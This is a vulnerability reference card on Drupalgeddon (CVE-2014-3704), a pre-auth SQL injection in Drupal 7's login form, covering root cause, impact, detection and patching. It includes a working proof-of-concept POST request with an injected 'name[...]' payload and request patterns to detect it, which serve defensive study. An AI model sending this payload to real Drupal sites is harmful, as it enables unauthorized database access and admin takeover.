Drupalgeddon (SQLi to RCE)

aka SA-CORE-2014-005, Drupageddon

Product: Drupal Drupal core
CVE: CVE-2014-3704
Disclosed: 2014-10-15
CVSS: —
Auth: pre-auth
CISA KEV: no
Affected: 7.0 - 7.31
Fixed: 7.32

Summary

A pre-auth SQL injection in Drupal 7's database abstraction layer let anyone run arbitrary SQL through array keys in the login form. Drupal warned that any site not patched within 7 hours of release should be assumed compromised.

Root cause

expandArguments() in includes/database/database.inc expanded array arguments into named placeholders using the array keys verbatim. Supplying name[0 or ...#]=x injects SQL into the generated query; attackers used it to insert admin users, menu_router entries or PHP code to achieve code execution.

Impact

Unauthenticated SQL injection leading to admin takeover and RCE on all unpatched Drupal 7 sites.

Public PoC

POST /?q=node&destination=node HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

Source: vulhub / drupal/CVE-2014-3704

Detection

Look for POST parameters like 'name[0 ' or 'name%5B0%20' to the login form, and new unexpected admin users or menu_router rows. nuclei template CVE-2014-3704.

Mitigation

Upgrade to 7.32+; treat sites unpatched during October 2014 as compromised and rebuild.